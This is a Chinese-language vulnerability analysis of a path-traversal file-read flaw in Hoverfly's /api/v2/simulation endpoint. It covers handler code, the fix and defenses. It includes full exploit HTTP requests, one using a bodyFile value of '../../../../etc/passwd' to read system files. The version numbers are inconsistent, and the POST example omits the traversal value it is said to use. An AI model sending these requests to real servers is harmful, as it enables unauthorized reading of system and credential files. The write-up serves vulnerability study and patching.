Hoverfly v1.10.3任意文件读取两种方法挖掘调试分析
字数 1219 2025-08-22 12:23:19
Hoverfly v1.10.3 任意文件读取漏洞分析与利用
1. Hoverfly 简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟工具,具有以下特点:
- 创建可重复使用的虚拟服务,在CI环境中替代缓慢和不稳定的外部或第三方服务
- 模拟网络延迟、随机故障或速率限制以测试边缘情况
- 支持多种编程语言扩展(Go, Java, Javascript, Python)
- 提供REST API和命令行界面hoverctl
- 使用Go编写,轻量级高性能
- 多种运行模式:记录、回放、修改或合成HTTP响应
2. 漏洞概述
Hoverfly v1.10.3 存在任意文件读取漏洞,攻击者可以通过/api/v2/simulation接口读取服务器上的任意文件。
漏洞原理
Hoverfly的/api/v2/simulation POST处理程序允许用户从指定文件内容创建新的模拟视图。虽然代码禁止指定绝对路径,但攻击者可以通过../路径遍历逃逸hf.Cfg.ResponsesBodyFilesPath基本路径,从而访问任意文件。
3. 环境搭建
使用Docker快速搭建测试环境:
docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2
4. 漏洞分析
4.1 路由分析
漏洞位于hoverfly-1.10.2/core/handlers/v2/simulation_handler.go文件中的RegisterRoutes方法:
func (this *SimulationHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {
mux.Get("/api/v2/simulation", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Get),
))
mux.Put("/api/v2/simulation", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Put),
))
mux.Post("/api/v2/simulation", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Post),
))
// 其他路由...
}
4.2 关键函数分析
PUT和POST方法都调用了addSimulation函数,但参数不同:
func (this *SimulationHandler) Put(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {
err := this.addSimulation(w, req, true) // overrideExisting=true
// ...
}
func (this *SimulationHandler) Post(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {
err := this.addSimulation(w, req, false) // overrideExisting=false
// ...
}
addSimulation函数调用链:
addSimulation → PutSimulation → putOrReplaceSimulation
最终漏洞出现在hoverfly-1.10.2/core/hoverfly_funcs.go文件中,关键问题是对filePath参数缺乏充分校验。
5. 漏洞利用
5.1 POST方法利用
POST方法只能读取一次文件内容,之后读取不会改变:
POST /api/v2/simulation HTTP/1.1
Host: target:8888
Authorization: Bearer [token]
Content-Type: application/json
{
"data": {
"pairs": [
{
"response": {
"status": 200,
"body": "",
"encodedBody": false,
"headers": {},
"templated": false
},
"request": {
"path": [
{
"matcher": "exact",
"value": "/test"
}
],
"method": [
{
"matcher": "exact",
"value": "GET"
}
],
"destination": [
{
"matcher": "exact",
"value": "test.com"
}
],
"scheme": [
{
"matcher": "exact",
"value": "http"
}
],
"query": {},
"body": [
{
"matcher": "exact",
"value": ""
}
],
"headers": {}
}
}
],
"globalActions": {
"delays": [],
"delaysLogNormal": []
}
},
"meta": {
"schemaVersion": "v5",
"hoverflyVersion": "v1.10.2",
"timeExported": "2025-01-24T04:45:00Z"
}
}
5.2 PUT方法利用
PUT方法可以重复利用,读取不同文件:
PUT /api/v2/simulation HTTP/1.1
Host: target:8888
Authorization: Bearer [token]
Content-Type: application/json
{
"data": {
"pairs": [
{
"response": {
"status": 200,
"bodyFile": "../../../../etc/passwd",
"encodedBody": false,
"headers": {},
"templated": false
},
"request": {
"path": [
{
"matcher": "exact",
"value": "/test"
}
],
"method": [
{
"matcher": "exact",
"value": "GET"
}
],
"destination": [
{
"matcher": "exact",
"value": "test.com"
}
],
"scheme": [
{
"matcher": "exact",
"value": "http"
}
],
"query": {},
"body": [
{
"matcher": "exact",
"value": ""
}
],
"headers": {}
}
}
],
"globalActions": {
"delays": [],
"delaysLogNormal": []
}
},
"meta": {
"schemaVersion": "v5",
"hoverflyVersion": "v1.10.2",
"timeExported": "2025-01-24T04:45:00Z"
}
}
6. 漏洞修复
在Hoverfly v1.10.5中,官方增加了ResolveAndValidatePath函数对路径进行校验:
func ResolveAndValidatePath(absBasePath, relativePath string) (string, error) {
// 确保相对路径不会尝试向上回溯(使用"..")
// 并验证解析后的路径仍然在基路径之下
// ...
}
该函数确保:
- 相对路径不能包含
..进行路径遍历 - 解析后的路径必须在基路径之下
7. 总结
- 漏洞类型:路径遍历导致的任意文件读取
- 影响版本:v1.10.3及之前版本
- 修复方案:升级到v1.10.5或更高版本
- 利用方式:通过
/api/v2/simulation接口的PUT或POST方法 - 关键点:PUT方法可重复利用,POST方法只能读取一次
8. 防御建议
- 及时升级到最新版本
- 对用户提供的文件路径进行严格校验
- 实施最小权限原则,限制Hoverfly进程的文件系统访问权限
- 在API网关层添加额外的输入验证